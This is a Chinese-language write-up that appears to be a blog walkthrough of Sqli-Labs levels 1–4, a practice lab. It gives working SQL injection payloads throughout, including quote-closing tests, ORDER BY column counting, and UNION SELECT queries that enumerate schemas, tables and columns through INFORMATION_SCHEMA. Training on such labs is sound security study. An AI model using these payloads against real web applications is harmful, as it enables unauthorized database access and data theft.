Sqli-Labs闯关——更新中

Sqli-Labs闯关

  • Less-1
  • Less-2
  • Less-3
  • Less-4

Less-1

正常访问:
Sqli-Labs闯关——更新中_第1张图片
一、判断

1 and 1=2 //访问正常,不是数值查询
1' //报错,可能为sql字符注入
1' --+//返回正常,所以为单引号字符注入  

注:
1、我使用的是 --+来注释sql后面的语句,+的作用是,它在解析的时候会被解析为空格,用来隔开 --与后面语句。
2、#注释也是可行的,但在浏览器的url中,他是被用来指导浏览器动作的,所以http请求并不包含它,只要将它转换为url编码%23.
3、 --’也可以

二、查询
1、查询列数
找一个临界值,这道题3正常,4错误,所以3就是那个临界值,说明这个表就是3列。

1'order by 3 --+

2、联合查询
找一个不存在的页面,查看是否有显示位,如图有2、3两个显示位。(因为mysql_fetch_array();这个函数,只会取出一行,如果要把所有结果取出来要用循环来取了在这儿我们只需要让union select前面的查询结果为空集,则后面的自然就成了第一行了,怎样让前面的成空集呢,只需要将id改为表里没有的,或者不合法的额就行)

999' union select 1,2,3 --+

Sqli-Labs闯关——更新中_第2张图片
2.1、查询库名
group_concat:显示所有内容并且相同内容只显示一次。

999' union select 1,(select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.SCHEMATA),3 --+

Sqli-Labs闯关——更新中_第3张图片
2.2、查询表名

999' union select 1,2,(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = (select DATABASE())) --+

Sqli-Labs闯关——更新中_第4张图片
2.3查找字段

999' union select 1,2,(select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNs where TABLE_NAME='emails') --+

注: union官方解释是用来把多个select语句的结果组合到一个结果集合中,且每列的数据类型必须相同。
group_concat也可以用limt替换。例如:999’ union select 1,2,(select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = (select DATABASE()) limit 0,1) --+

Less-2

和第一题几乎一样,只是没有了’的闭合

1 order by 3
999 union select 1,2,3
999 union select 1,(select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.SCHEMATA),3
999 union select 1,(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES),3
999 union select 1,(select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where  TABLE_SCHEMA=(select database())),3

Less-3

加’尝试,发现报错,查看报错语句’1’),所以猜测后台的查询语句为(’$id’)。
Sqli-Labs闯关——更新中_第5张图片
构造payload

1') order by 3 --+
999') union select 1,2,3 --+
999') union select 1,(select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA =(select DATABASE())),3 --+

Less-4

在参数加双引号报错,根据报错信息构造(") --+)
构造payload

") order by 3 --+
") union select 1,2,3 --+
") union select 1,(select group_concat(SCHEMA_NAME) from INFORMATION_SCHEMA.SCHEMATA),3 --+
") union select 1,(select group_concat(TABLE_NAME) from INFORMATION_SCHEMA.TABLES),3 --+
") union select 1,(select group_concat(COLUMN_NAME) from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA = (select DATABASE())),3 --+

你可能感兴趣的:(Sqli-Labs)